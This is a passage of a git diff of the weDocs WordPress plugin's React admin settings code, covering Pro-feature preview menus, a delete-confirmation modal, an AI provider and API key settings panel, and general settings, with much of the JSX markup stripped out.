icon: ( - - - - ), - disabled: true, - subtabs: [ - { - pro: true, - text: __( 'A.I. Chat', 'wedocs' ), - icon: ( - - - - ), - }, - { - pro: true, - text: __( 'Explore', 'wedocs' ), - icon: ( - - - - ), - }, - { - pro: true, - text: __( 'Messaging', 'wedocs' ), - icon: ( - - - - ), - }, - { - pro: true, - text: __( 'Placement', 'wedocs' ), - icon: ( - - - - ), - }, - { - pro: true, - text: __( 'Widget Preference', 'wedocs' ), - icon: ( - - - - ), - }, - ], - }; - menus.styles = { - pro: true, - text: __( 'Layout & Styles', 'wedocs' ), - icon: ( - - - - ), - }; - menus.social_share = { - pro: true, - text: __( 'Social Share', 'wedocs' ), - icon: ( - - - - - - ), - }; - - return menus; - }, - 5 - ); - -wp.hooks.addFilter( - 'wedocs_settings_page_templates', - 'wedocs_free_settings_page_templates_preview', - function ( templates, docSettings, setDocSettings, index ) { - // Check if Pro is loaded dynamically - const isProLoaded = wp.hooks.applyFilters('wedocs_pro_loaded', false); - if (isProLoaded) return templates; - - const assistantWidgetSubPanels = [ - , - , - , - , - , - ]; - - return [ - ...templates, - , - ...assistantWidgetSubPanels, - , - , - ]; - }, - 5 - ); - -wp.hooks.addFilter( - 'wedocs_admin_article_restriction_action', - 'wedocs_free_article_restriction_preview', - function ( componentsArray, id, type ) { - // Check if Pro is loaded dynamically - const isProLoaded = wp.hooks.applyFilters('wedocs_pro_loaded', false); - if (isProLoaded) return componentsArray; - - return ( - <> - { userIsAdmin() && ( - <> - { type === 'doc' && ( - - { __( 'Permission Management', 'wedocs' ) } - - ) } - { type === 'article' && ( - - <> - - - {__( 'Duplicate', 'wedocs' )} - - - - - - {__( 'Restrict editing for admin only', 'wedocs' )} - - - - - ) } - - ) } - - ); - }, - 5 - ); - +import { __ } from '@wordpress/i18n'; +import PermissionSettings from './PermissionSettings'; +import { userIsAdmin } from '../../utils/helper'; +import UpgradePopup from './common/UpgradePopup'; +import LayoutSettings from './LayoutSettings'; +import AiChatBotSettings from './AssistantWidgetPanels/AiChatPanel'; +import ExploreSettings from './AssistantWidgetPanels/ExplorePanel'; +import MessageSettings from './AssistantWidgetPanels/MessagePanel'; +import PlacementSettings from './AssistantWidgetPanels/PlacementPanel'; +import PreferenceSettings from './AssistantWidgetPanels/PreferencePanel'; +import SocialShareSettings from './SocialShareSettings'; +import Badge from './common/Badge'; + +wp.hooks.addFilter( + 'wedocs_settings_menu', + 'wedocs_free_settings_menu_preview', + function ( menus ) { + // Check if Pro is loaded dynamically + const isProLoaded = wp.hooks.applyFilters('wedocs_pro_loaded', false); + if (isProLoaded) return menus; + menus.permission = { + pro: true, + text: __( 'Permission Management', 'wedocs' ), + icon: ( + + + + ), + }; + menus.assistant = { + pro: true, + text: __( 'Assistant Widget', 'wedocs' ), + icon: ( + + + + ), + disabled: true, + subtabs: [ + { + pro: true, + text: __( 'A.I. Chat', 'wedocs' ), + icon: ( + + + + ), + }, + { + pro: true, + text: __( 'Explore', 'wedocs' ), + icon: ( + + + + ), + }, + { + pro: true, + text: __( 'Messaging', 'wedocs' ), + icon: ( + + + + ), + }, + { + pro: true, + text: __( 'Placement', 'wedocs' ), + icon: ( + + + + ), + }, + { + pro: true, + text: __( 'Widget Preference', 'wedocs' ), + icon: ( + + + + ), + }, + ], + }; + menus.styles = { + pro: true, + text: __( 'Layout & Styles', 'wedocs' ), + icon: ( + + + + ), + }; + menus.social_share = { + pro: true, + text: __( 'Social Share', 'wedocs' ), + icon: ( + + + + + + ), + }; + + return menus; + }, + 5 + ); + +wp.hooks.addFilter( + 'wedocs_settings_page_templates', + 'wedocs_free_settings_page_templates_preview', + function ( templates, docSettings, setDocSettings, index ) { + // Check if Pro is loaded dynamically + const isProLoaded = wp.hooks.applyFilters('wedocs_pro_loaded', false); + if (isProLoaded) return templates; + + const assistantWidgetSubPanels = [ + , + , + , + , + , + ]; + + return [ + ...templates, + , + ...assistantWidgetSubPanels, + , + , + ]; + }, + 5 + ); + +wp.hooks.addFilter( + 'wedocs_admin_article_restriction_action', + 'wedocs_free_article_restriction_preview', + function ( componentsArray, id, type ) { + // Check if Pro is loaded dynamically + const isProLoaded = wp.hooks.applyFilters('wedocs_pro_loaded', false); + if (isProLoaded) return componentsArray; + + return ( + <> + { userIsAdmin() && ( + <> + { type === 'doc' && ( + + { __( 'Permission Management', 'wedocs' ) } + + ) } + { type === 'article' && ( + + <> + + + {__( 'Duplicate', 'wedocs' )} + + + + + + {__( 'Restrict editing for admin only', 'wedocs' )} + + + + + ) } + + ) } + + ); + }, + 5 + ); + diff --git a/src/components/RestrictionModal.js b/src/components/RestrictionModal.js index 2c563ad2..ad967a27 100644 --- a/src/components/RestrictionModal.js +++ b/src/components/RestrictionModal.js @@ -1,153 +1,153 @@ -import { __ } from '@wordpress/i18n'; -import { Fragment, useState } from '@wordpress/element'; -import { Dialog, Transition } from '@headlessui/react'; -import { dispatch } from '@wordpress/data'; -import Swal from 'sweetalert2'; - -const RestictionModal = ( { classes, children, docId, type } ) => { - const [ isOpen, setIsOpen ] = useState( false ); - const [ disabled, setDisabled ] = useState( false ); - - const removeDocumentation = () => { - const deletedType = type.charAt( 0 ).toUpperCase() + type.slice( 1 ); - - // Make it disabled for removing a doc. - setDisabled( true ); - - dispatch( 'wedocs/docs' ) - .deleteDoc( docId ) - .then( ( result ) => { - Swal.fire( { - title: deletedType + __( ` deleted!`, 'wedocs' ), - text: deletedType + __( ` has been deleted successfully`, 'wedocs' ), - icon: 'success', - toast: true, - position: 'bottom-end', - showConfirmButton: false, - timer: 2000, - customClass: { - container: '!z-[9999]', - }, - } ); - setIsOpen( false ); - } ) - .catch( ( err ) => { - Swal.fire( { - title: __( 'Error', 'wedocs' ), - text: err.message, - icon: 'error', - toast: true, - position: 'bottom-end', - showConfirmButton: false, - timer: 3000, - customClass: { - container: '!z-[9999]', - }, - } ); - } ) - .finally( () => setDisabled( false ) ); - }; - - const openModal = () => { - setIsOpen( true ); - }; - - return ( - <> - - - - setIsOpen( false ) } - > - -
    - - -
    -
    - - -
    -
    - - - -
    -
    - - { __( - `Are you sure you want to delete this `, - 'wedocs' - ) + type + `?` } - -

    - { __( - 'Deleting it means it will be permanently lost, and you won\'t be able to retrieve it again.', - 'wedocs' - ) } -

    - -
    - - -
    -
    -
    -
    -
    -
    -
    -
    -
    - - ); -}; - -export default RestictionModal; +import { __ } from '@wordpress/i18n'; +import { Fragment, useState } from '@wordpress/element'; +import { Dialog, Transition } from '@headlessui/react'; +import { dispatch } from '@wordpress/data'; +import Swal from 'sweetalert2'; + +const RestictionModal = ( { classes, children, docId, type } ) => { + const [ isOpen, setIsOpen ] = useState( false ); + const [ disabled, setDisabled ] = useState( false ); + + const removeDocumentation = () => { + const deletedType = type.charAt( 0 ).toUpperCase() + type.slice( 1 ); + + // Make it disabled for removing a doc. + setDisabled( true ); + + dispatch( 'wedocs/docs' ) + .deleteDoc( docId ) + .then( ( result ) => { + Swal.fire( { + title: deletedType + __( ` deleted!`, 'wedocs' ), + text: deletedType + __( ` has been deleted successfully`, 'wedocs' ), + icon: 'success', + toast: true, + position: 'bottom-end', + showConfirmButton: false, + timer: 2000, + customClass: { + container: '!z-[9999]', + }, + } ); + setIsOpen( false ); + } ) + .catch( ( err ) => { + Swal.fire( { + title: __( 'Error', 'wedocs' ), + text: err.message, + icon: 'error', + toast: true, + position: 'bottom-end', + showConfirmButton: false, + timer: 3000, + customClass: { + container: '!z-[9999]', + }, + } ); + } ) + .finally( () => setDisabled( false ) ); + }; + + const openModal = () => { + setIsOpen( true ); + }; + + return ( + <> + + + + setIsOpen( false ) } + > + +
    + + +
    +
    + + +
    +
    + + + +
    +
    + + { __( + `Are you sure you want to delete this `, + 'wedocs' + ) + type + `?` } + +

    + { __( + 'Deleting it means it will be permanently lost, and you won\'t be able to retrieve it again.', + 'wedocs' + ) } +

    + +
    + + +
    +
    +
    +
    +
    +
    +
    +
    +
    + + ); +}; + +export default RestictionModal; diff --git a/src/components/Settings/AiSettings.js b/src/components/Settings/AiSettings.js index 16690074..342df3a1 100644 --- a/src/components/Settings/AiSettings.js +++ b/src/components/Settings/AiSettings.js @@ -1,568 +1,568 @@ -/** - * AI Settings Component - * - * Centralized AI Control Settings panel for weDocs that allows admins to configure - * and manage API integrations with multiple AI providers. - * - * Available WordPress Filters: - * - * @filter wedocs_ai_provider_configs - * Allows customization of AI provider configurations including available models. - * Used in the settings UI to display provider options and model selections. - * - * @filter wedocs_ai_service_providers - * Allows customization of AI service provider configurations for the AI service utility. - * Used for API calls and provider management in the backend. - * - * @since 2.0.0 - */ - -import { __ } from '@wordpress/i18n'; -import { useState, useEffect, Fragment } from '@wordpress/element'; -import { Listbox, Transition } from '@headlessui/react'; -import { CheckIcon, ChevronDownIcon } from '@heroicons/react/20/solid'; - -const AiSettings = ({ - settingsData, - aiSettingsData, - setSettings, -}) => { - // Get centralized provider configs from wedocs_get_ai_provider_configs() PHP function - // This ensures consistency across all AI features and settings - const getProviderConfigs = () => { - const configs = window.weDocsAdminVars?.aiProviderConfigs || {}; - const providers = {}; - - // Generate settings from centralized configs - Object.keys(configs).forEach(providerKey => { - const provider = configs[providerKey]; - const modelKeys = Object.keys(provider.models); - const firstModel = modelKeys[0]; // Use first model as default - - providers[providerKey] = { - api_key: '', - models: modelKeys, - selected_model: firstModel - }; - - }); - - return providers; - }; - - // Get default provider and model from centralized config - const getDefaultProviderAndModel = () => { - const providers = getProviderConfigs(); - const providerKeys = Object.keys(providers); - const defaultProvider = providerKeys[0] || 'openai'; - const defaultModel = providers[defaultProvider]?.selected_model || 'gpt-4o-mini'; - - return { defaultProvider, defaultModel }; - }; - - const { defaultProvider, defaultModel } = getDefaultProviderAndModel(); - - const [aiSettings, setAiSettings] = useState({ - default_provider: defaultProvider, - providers: getProviderConfigs(), - features: { - ai_search: { - enabled: false, - provider: defaultProvider, - model: defaultModel - }, - ai_summaries: { - enabled: false, - provider: defaultProvider, - model: defaultModel - }, - ai_qa: { - enabled: false, - provider: defaultProvider, - model: defaultModel - }, - ai_recommendations: { - enabled: false, - provider: defaultProvider, - model: defaultModel - }, - ai_acknowledgements: { - enabled: false, - provider: defaultProvider, - model: defaultModel - } - }, - ...aiSettingsData - }); - - // Get provider configurations from centralized configs - const getProviderConfigsForUI = () => { - const configs = window.weDocsAdminVars?.aiProviderConfigs || {}; - const providerConfigs = {}; - - Object.keys(configs).forEach(providerKey => { - const provider = configs[providerKey]; - const models = []; - - Object.keys(provider.models).forEach(modelKey => { - models.push({ - value: modelKey, - label: provider.models[modelKey] - }); - }); - - providerConfigs[providerKey] = { - name: provider.name, - models: models - }; - }); - - return providerConfigs; - }; - - let providerConfigs = getProviderConfigsForUI(); - - /** - * Filter: wedocs_ai_provider_configs - * - * Allows customization of AI provider configurations including available models. - * - * @param {Object} providerConfigs - The provider configurations object - * @param {Object} providerConfigs.openai - OpenAI configuration - * @param {string} providerConfigs.openai.name - Provider display name - * @param {Array} providerConfigs.openai.models - Available models array - * @param {Object} providerConfigs.anthropic - Anthropic configuration - * @param {Object} providerConfigs.google - Google Gemini configuration - * - * @example - * // Add a new model to OpenAI - * wp.hooks.addFilter('wedocs_ai_provider_configs', 'my-plugin', function(configs) { - * configs.openai.models.push({ - * value: 'gpt-4-turbo', - * label: 'GPT-4 Turbo' - * }); - * return configs; - * }); - * - * @example - * // Add a completely new provider - * wp.hooks.addFilter('wedocs_ai_provider_configs', 'my-plugin', function(configs) { - * configs.custom_provider = { - * name: 'Custom AI Provider', - * models: [ - * { value: 'custom-model-1', label: 'Custom Model 1' }, - * { value: 'custom-model-2', label: 'Custom Model 2' } - * ] - * }; - * return configs; - * }); - * - * @since 2.0.0 - */ - providerConfigs = wp.hooks.applyFilters('wedocs_ai_provider_configs', providerConfigs); - - - useEffect(() => { - setAiSettings({ - ...aiSettings, - ...aiSettingsData - }); - }, [aiSettingsData]); - - const handleProviderChange = (providerKey, field, value) => { - const updatedSettings = { - ...aiSettings, - providers: { - ...aiSettings.providers, - [providerKey]: { - ...aiSettings.providers[providerKey], - [field]: value - } - } - }; - - setAiSettings(updatedSettings); - setSettings({ - ...settingsData, - ai: updatedSettings - }); - }; - - const handleDefaultProviderChange = (value) => { - const updatedSettings = { - ...aiSettings, - default_provider: value - }; - - setAiSettings(updatedSettings); - setSettings({ - ...settingsData, - ai: updatedSettings - }); - }; - - - const maskApiKey = (key) => { - if (!key) return ''; - if (key.length <= 8) return key; - - // Show first 4 and last 4 characters, fill middle with asterisks - // Maximum 15 characters total: 4 + 17 asterisks + 4 = 25 - const firstPart = key.substring(0, 4); - const lastPart = key.substring(key.length - 4); - const middleAsterisks = '*'.repeat(17); // Always 7 asterisks for consistent length - - return firstPart + middleAsterisks + lastPart; - }; - - - // Custom AI Provider Select Component - const AiProviderSelect = ({ value, onChange, options }) => { - const [selectedProvider, setSelectedProvider] = useState( - options.find(option => option.value === value) || options[0] - ); - - useEffect(() => { - setSelectedProvider(options.find(option => option.value === value) || options[0]); - }, [value, options]); - - const handleChange = (provider) => { - setSelectedProvider(provider); - onChange(provider.value); - }; - - return ( - - {selectedProvider && Object.keys(selectedProvider).length > 0 ? ( - -
    - - {selectedProvider?.label} - - - - - - {options?.map((option) => ( - - `cursor-pointer relative select-none py-2 pl-3 pr-9 ${ - active ? 'text-white bg-indigo-600' : 'text-gray-900' - }` - } - value={option} - > - {({ selected, active }) => ( - <> - - {option?.label} - - {selected && ( - - - )} - - )} - - ))} - - -
    -
    - ) : ( -
    - -
    - )} -
    - ); - }; - - // Custom AI Model Select Component - const AiModelSelect = ({ value, onChange, options }) => { - const [selectedModel, setSelectedModel] = useState( - options.find(option => option.value === value) || options[0] - ); - - useEffect(() => { - setSelectedModel(options.find(option => option.value === value) || options[0]); - }, [value, options]); - - const handleChange = (model) => { - setSelectedModel(model); - onChange(model.value); - }; - - return ( - - {selectedModel && Object.keys(selectedModel).length > 0 ? ( - -
    - - {selectedModel?.label} - - - - - - {options?.map((option) => ( - - `cursor-pointer relative select-none py-2 pl-3 pr-9 ${ - active ? 'text-white bg-indigo-600' : 'text-gray-900' - }` - } - value={option} - > - {({ selected, active }) => ( - <> - - {option?.label} - - {selected && ( - - - )} - - )} - - ))} - - -
    -
    - ) : ( -
    - -
    - )} -
    - ); - }; - - return ( -
    -
    -
    -
    -

    - {__('AI Control Settings', 'wedocs')} -

    -
    -
    -
    - {/* Default AI Provider */} -
    -
    -
    - -
    - - - -
    -
    -
    -
    - ({ - value: providerKey, - label: providerConfigs[providerKey].name - }))} - /> -
    -
    -
    -
    -

    - {__('This provider will be used as the default for all AI features unless overridden.', 'wedocs')} -

    -
    -
    - - {/* API Key */} -
    -
    -
    - -
    - - - -
    -
    -
    -
    - handleProviderChange(aiSettings.default_provider, 'api_key', e.target.value)} - /> -
    -
    -
    - {aiSettings.providers[aiSettings.default_provider]?.api_key && ( -
    -

    - {__('Current:', 'wedocs')} {maskApiKey(aiSettings.providers[aiSettings.default_provider].api_key)} -

    -
    - )} -
    - - {/* AI Model */} -
    -
    -
    - -
    - - - -
    -
    -
    -
    - handleProviderChange(aiSettings.default_provider, 'selected_model', value)} - options={providerConfigs[aiSettings.default_provider]?.models || []} - /> -
    -
    -
    -
    -

    - {__('Select the model for this provider', 'wedocs')} -

    -
    -
    -
    -
    -
    -
    - ); -}; - -export default AiSettings; +/** + * AI Settings Component + * + * Centralized AI Control Settings panel for weDocs that allows admins to configure + * and manage API integrations with multiple AI providers. + * + * Available WordPress Filters: + * + * @filter wedocs_ai_provider_configs + * Allows customization of AI provider configurations including available models. + * Used in the settings UI to display provider options and model selections. + * + * @filter wedocs_ai_service_providers + * Allows customization of AI service provider configurations for the AI service utility. + * Used for API calls and provider management in the backend. + * + * @since 2.0.0 + */ + +import { __ } from '@wordpress/i18n'; +import { useState, useEffect, Fragment } from '@wordpress/element'; +import { Listbox, Transition } from '@headlessui/react'; +import { CheckIcon, ChevronDownIcon } from '@heroicons/react/20/solid'; + +const AiSettings = ({ + settingsData, + aiSettingsData, + setSettings, +}) => { + // Get centralized provider configs from wedocs_get_ai_provider_configs() PHP function + // This ensures consistency across all AI features and settings + const getProviderConfigs = () => { + const configs = window.weDocsAdminVars?.aiProviderConfigs || {}; + const providers = {}; + + // Generate settings from centralized configs + Object.keys(configs).forEach(providerKey => { + const provider = configs[providerKey]; + const modelKeys = Object.keys(provider.models); + const firstModel = modelKeys[0]; // Use first model as default + + providers[providerKey] = { + api_key: '', + models: modelKeys, + selected_model: firstModel + }; + + }); + + return providers; + }; + + // Get default provider and model from centralized config + const getDefaultProviderAndModel = () => { + const providers = getProviderConfigs(); + const providerKeys = Object.keys(providers); + const defaultProvider = providerKeys[0] || 'openai'; + const defaultModel = providers[defaultProvider]?.selected_model || 'gpt-4o-mini'; + + return { defaultProvider, defaultModel }; + }; + + const { defaultProvider, defaultModel } = getDefaultProviderAndModel(); + + const [aiSettings, setAiSettings] = useState({ + default_provider: defaultProvider, + providers: getProviderConfigs(), + features: { + ai_search: { + enabled: false, + provider: defaultProvider, + model: defaultModel + }, + ai_summaries: { + enabled: false, + provider: defaultProvider, + model: defaultModel + }, + ai_qa: { + enabled: false, + provider: defaultProvider, + model: defaultModel + }, + ai_recommendations: { + enabled: false, + provider: defaultProvider, + model: defaultModel + }, + ai_acknowledgements: { + enabled: false, + provider: defaultProvider, + model: defaultModel + } + }, + ...aiSettingsData + }); + + // Get provider configurations from centralized configs + const getProviderConfigsForUI = () => { + const configs = window.weDocsAdminVars?.aiProviderConfigs || {}; + const providerConfigs = {}; + + Object.keys(configs).forEach(providerKey => { + const provider = configs[providerKey]; + const models = []; + + Object.keys(provider.models).forEach(modelKey => { + models.push({ + value: modelKey, + label: provider.models[modelKey] + }); + }); + + providerConfigs[providerKey] = { + name: provider.name, + models: models + }; + }); + + return providerConfigs; + }; + + let providerConfigs = getProviderConfigsForUI(); + + /** + * Filter: wedocs_ai_provider_configs + * + * Allows customization of AI provider configurations including available models. + * + * @param {Object} providerConfigs - The provider configurations object + * @param {Object} providerConfigs.openai - OpenAI configuration + * @param {string} providerConfigs.openai.name - Provider display name + * @param {Array} providerConfigs.openai.models - Available models array + * @param {Object} providerConfigs.anthropic - Anthropic configuration + * @param {Object} providerConfigs.google - Google Gemini configuration + * + * @example + * // Add a new model to OpenAI + * wp.hooks.addFilter('wedocs_ai_provider_configs', 'my-plugin', function(configs) { + * configs.openai.models.push({ + * value: 'gpt-4-turbo', + * label: 'GPT-4 Turbo' + * }); + * return configs; + * }); + * + * @example + * // Add a completely new provider + * wp.hooks.addFilter('wedocs_ai_provider_configs', 'my-plugin', function(configs) { + * configs.custom_provider = { + * name: 'Custom AI Provider', + * models: [ + * { value: 'custom-model-1', label: 'Custom Model 1' }, + * { value: 'custom-model-2', label: 'Custom Model 2' } + * ] + * }; + * return configs; + * }); + * + * @since 2.0.0 + */ + providerConfigs = wp.hooks.applyFilters('wedocs_ai_provider_configs', providerConfigs); + + + useEffect(() => { + setAiSettings({ + ...aiSettings, + ...aiSettingsData + }); + }, [aiSettingsData]); + + const handleProviderChange = (providerKey, field, value) => { + const updatedSettings = { + ...aiSettings, + providers: { + ...aiSettings.providers, + [providerKey]: { + ...aiSettings.providers[providerKey], + [field]: value + } + } + }; + + setAiSettings(updatedSettings); + setSettings({ + ...settingsData, + ai: updatedSettings + }); + }; + + const handleDefaultProviderChange = (value) => { + const updatedSettings = { + ...aiSettings, + default_provider: value + }; + + setAiSettings(updatedSettings); + setSettings({ + ...settingsData, + ai: updatedSettings + }); + }; + + + const maskApiKey = (key) => { + if (!key) return ''; + if (key.length <= 8) return key; + + // Show first 4 and last 4 characters, fill middle with asterisks + // Maximum 15 characters total: 4 + 17 asterisks + 4 = 25 + const firstPart = key.substring(0, 4); + const lastPart = key.substring(key.length - 4); + const middleAsterisks = '*'.repeat(17); // Always 7 asterisks for consistent length + + return firstPart + middleAsterisks + lastPart; + }; + + + // Custom AI Provider Select Component + const AiProviderSelect = ({ value, onChange, options }) => { + const [selectedProvider, setSelectedProvider] = useState( + options.find(option => option.value === value) || options[0] + ); + + useEffect(() => { + setSelectedProvider(options.find(option => option.value === value) || options[0]); + }, [value, options]); + + const handleChange = (provider) => { + setSelectedProvider(provider); + onChange(provider.value); + }; + + return ( + + {selectedProvider && Object.keys(selectedProvider).length > 0 ? ( + +
    + + {selectedProvider?.label} + + + + + + {options?.map((option) => ( + + `cursor-pointer relative select-none py-2 pl-3 pr-9 ${ + active ? 'text-white bg-indigo-600' : 'text-gray-900' + }` + } + value={option} + > + {({ selected, active }) => ( + <> + + {option?.label} + + {selected && ( + + + )} + + )} + + ))} + + +
    +
    + ) : ( +
    + +
    + )} +
    + ); + }; + + // Custom AI Model Select Component + const AiModelSelect = ({ value, onChange, options }) => { + const [selectedModel, setSelectedModel] = useState( + options.find(option => option.value === value) || options[0] + ); + + useEffect(() => { + setSelectedModel(options.find(option => option.value === value) || options[0]); + }, [value, options]); + + const handleChange = (model) => { + setSelectedModel(model); + onChange(model.value); + }; + + return ( + + {selectedModel && Object.keys(selectedModel).length > 0 ? ( + +
    + + {selectedModel?.label} + + + + + + {options?.map((option) => ( + + `cursor-pointer relative select-none py-2 pl-3 pr-9 ${ + active ? 'text-white bg-indigo-600' : 'text-gray-900' + }` + } + value={option} + > + {({ selected, active }) => ( + <> + + {option?.label} + + {selected && ( + + + )} + + )} + + ))} + + +
    +
    + ) : ( +
    + +
    + )} +
    + ); + }; + + return ( +
    +
    +
    +
    +

    + {__('AI Control Settings', 'wedocs')} +

    +
    +
    +
    + {/* Default AI Provider */} +
    +
    +
    + +
    + + + +
    +
    +
    +
    + ({ + value: providerKey, + label: providerConfigs[providerKey].name + }))} + /> +
    +
    +
    +
    +

    + {__('This provider will be used as the default for all AI features unless overridden.', 'wedocs')} +

    +
    +
    + + {/* API Key */} +
    +
    +
    + +
    + + + +
    +
    +
    +
    + handleProviderChange(aiSettings.default_provider, 'api_key', e.target.value)} + /> +
    +
    +
    + {aiSettings.providers[aiSettings.default_provider]?.api_key && ( +
    +

    + {__('Current:', 'wedocs')} {maskApiKey(aiSettings.providers[aiSettings.default_provider].api_key)} +

    +
    + )} +
    + + {/* AI Model */} +
    +
    +
    + +
    + + + +
    +
    +
    +
    + handleProviderChange(aiSettings.default_provider, 'selected_model', value)} + options={providerConfigs[aiSettings.default_provider]?.models || []} + /> +
    +
    +
    +
    +

    + {__('Select the model for this provider', 'wedocs')} +

    +
    +
    +
    +
    +
    +
    + ); +}; + +export default AiSettings; diff --git a/src/components/Settings/GeneralSettings.js b/src/components/Settings/GeneralSettings.js index b7b0111b..b2cc4a49 100644 --- a/src/components/Settings/GeneralSettings.js +++ b/src/components/Settings/GeneralSettings.js @@ -1,372 +1,372 @@ -import { __ } from '@wordpress/i18n'; -import Switcher from '../Switcher'; -import { useEffect, useState } from '@wordpress/element'; -import SelectBox from '../SelectBox'; - -const GeneralSettings = ( { - settingsData, - generalSettingsData, - setSettings, -} ) => { - const [ generalSettings, setGeneralSettings ] = useState( { - ...generalSettingsData, - } ); - - const handleEmailAddress = ( e ) => { - setSettings( { - ...settingsData, - general: { ...generalSettingsData, email_to: e.target.value }, - } ); - }; - - useEffect( () => { - setGeneralSettings( { - ...generalSettingsData, - } ); - }, [ generalSettingsData ] ); - - return ( -
    -
    -
    -
    -

    - {__('General', 'wedocs')} -

    -
    -
    -
    -
    -
    -
    - -
    -
    -
    - -
    -
    -
    -
    -

    - {__( - 'Select the documentation Home page, where the shortcode [wedocs] ', - 'wedocs' - )} - - {__('shortcode', 'wedocs')} - - {__(' is used.', 'wedocs')} -

    -
    -
    - -
    -
    -
    - -
    - - - -
    -
    -
    - -
    -
    -
    - - {(generalSettingsData?.email === 'on' || - !Boolean(generalSettingsData?.email)) && ( -
    -
    -
    - - -
    - - - -
    -
    -
    -
    - -
    -
    -
    -
    - )} - -
    -
    -
    - -
    - - - -
    -
    -
    - -
    -
    -
    - -
    -
    -
    - -
    - - - -
    -
    -
    - -
    -
    -
    - -
    -
    -
    - -
    - - - -
    -
    -
    - -
    -
    -
    - -
    -
    -
    - -
    - - - -
    -
    -
    - -
    -
    -
    -
    -
    -
    -
    - ); -}; - -export default GeneralSettings; +import { __ } from '@wordpress/i18n'; +import Switcher from '../Switcher'; +import { useEffect, useState } from '@wordpress/element'; +import SelectBox from '../SelectBox'; + +const GeneralSettings = ( { + settingsData, + generalSettingsData, + setSettings, +} ) => { + const [ generalSettings, setGeneralSettings ] = useState( { + ...generalSettingsData, + } ); + + const handleEmailAddress = ( e ) => { + setSettings( { + ...settingsData, + general: { ...generalSettingsData, email_to: e.target.value }, + } ); + }; + + useEffect( () => { + setGeneralSettings( { + ...generalSettingsData, + } ); + }, [ generalSettingsData ] ); + + return ( +
    +
    +
    +
    +

    + {__('General', 'wedocs')} +

    +
    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +

    + {__( + 'Select the documentation Home page, where the shortcode [wedocs] ', + 'wedocs' + )} + + {__('shortcode', 'wedocs')} + + {__(' is used.', 'wedocs')} +

    +
    +
    + +
    +
    +
    + +
    + + + +
    +
    +
    + +
    +
    +
    + + {(generalSettingsData?.email === 'on' || + !Boolean(generalSettingsData?.email)) && ( +
    +
    +
    + + +
    + + + +
    +
    +
    +
    + +
    +
    +
    +
    + )} + +
    +
    +
    + +
    + + + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    + + + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    + + + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    + + + +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    + ); +}; + +export default GeneralSettings; diff --git a/src/components/Settings/Menu.js b/src/components/Settings/Menu.js index ca067572..ea29585b 100644 --- a/src/components/Settings/Menu.js +++ b/src/components/Settings/Menu.js @@ -1,95 +1,95 @@ -import { __ } from '@wordpress/i18n'; -import { Tab } from '@headlessui/react'; -import Badge from '../ProPreviews/common/Badge'; -import { Fragment, useState } from '@wordpress/element'; - -const Menu = () => { - let menus = { - general: { - text: __( 'General', 'wedocs' ), - icon: ( - - - - - ), - }, - ai: { - text: __( 'AI Control', 'wedocs' ), - icon: ( - - - - - - ), - }, - }; - - const [ showSubTabs, setShowSubTabs ] = useState( true ); - - menus = wp.hooks.applyFilters( 'wedocs_settings_menu', menus ); - - return ( - - { Object.entries( menus ).map( ( tab, index ) => ( - - { !tab[ 1 ]?.disabled ? ( - - { tab[ 1 ]?.icon } - { __( tab[ 1 ]?.text, 'wedocs' ) } - { tab[ 1 ]?.pro && } - - ) : ( - -
    setShowSubTabs( !showSubTabs ) } - className={ `disable-tab-item settings-tab w-full focus:outline-0 !text-black aria-selected:text-gray-600 aria-selected:bg-gray-100 hover:text-gray-600 hover:bg-gray-100 group rounded-md px-5 py-3 flex items-center text-sm font-medium cursor-pointer` } - > - { tab[ 1 ]?.icon } - { tab[ 1 ]?.text } - { tab[ 1 ]?.pro && } - - - -
    - { tab[ 1 ]?.subtabs && tab[ 1 ]?.subtabs?.map( ( subtab, index ) => ( - -
    - { subtab?.icon } - { subtab?.text } - { subtab?.pro && } -
    -
    - ) ) } -
    - ) } -
    - ) ) } -
    - ); -}; - -export default Menu; +import { __ } from '@wordpress/i18n'; +import { Tab } from '@headlessui/react'; +import Badge from '../ProPreviews/common/Badge'; +import { Fragment, useState } from '@wordpress/element'; + +const Menu = () => { + let menus = { + general: { + text: __( 'General', 'wedocs' ), + icon: ( + + + + + ), + }, + ai: { + text: __( 'AI Control', 'wedocs' ), + icon: ( + + + + + + ), + }, + }; + + const [ showSubTabs, setShowSubTabs ] = useState( true ); + + menus = wp.hooks.applyFilters( 'wedocs_settings_menu', menus ); + + return ( + + { Object.entries( menus ).map( ( tab, index ) => ( + + { !tab[ 1 ]?.disabled ? ( + + { tab[ 1 ]?.icon } + { __( tab[ 1 ]?.text, 'wedocs' ) } + { tab[ 1 ]?.pro && } + + ) : ( + +
    setShowSubTabs( !showSubTabs ) } + className={ `disable-tab-item settings-tab w-full focus:outline-0 !text-black aria-selected:text-gray-600 aria-selected:bg-gray-100 hover:text-gray-600 hover:bg-gray-100 group rounded-md px-5 py-3 flex items-center text-sm font-medium cursor-pointer` } + > + { tab[ 1 ]?.icon } + { tab[ 1 ]?.text } + { tab[ 1 ]?.pro && } + + + +
    + { tab[ 1 ]?.subtabs && tab[ 1 ]?.subtabs?.map( ( subtab, index ) => ( + +
    + { subtab?.icon } + { subtab?.text } + { subtab?.pro && } +
    +
    + ) ) } +
    + ) } +
    + ) ) } +
    + ); +}; + +export default Menu; diff --git a/src/components/Settings/index.js b/src/components/Settings/index.js index 08e49845..f97f3d80 100644 --- a/src/components/Settings/index.js +++ b/src/components/Settings/index.js @@ -1,192 +1,192 @@ -import Menu from './Menu'; -import SaveButton from './SaveButton'; -import { Tab } from '@headlessui/react'; -import { useEffect, useState } from '@wordpress/element'; -import { dispatch, useSelect } from '@wordpress/data'; -import settingsStore from '../../data/settings'; -import GeneralSettings from './GeneralSettings'; -import AiSettings from './AiSettings'; -import Swal from 'sweetalert2'; -import { __ } from '@wordpress/i18n'; -import Upgrade from '../Upgrade'; -import { useParams } from 'react-router-dom'; -import WedocsPromoNotice from '../WedocsPromoNotice'; - -const SettingsPage = () => { - const { panel } = useParams(); - - const settings = useSelect( - ( select ) => select( settingsStore ).getSettings(), - [] - ); - - const panelIndex = Object.keys( settings ).indexOf( panel ); - const [ selectedIndex, setSelectedIndex ] = useState( panelIndex || 0 ); - - const [ docSettings, setDocSettings ] = useState( { ...settings } ); - - const { need_upgrade, status } = useSelect( - ( select ) => select( settingsStore ).getUpgradeInfo(), - [] - ); - - const [ 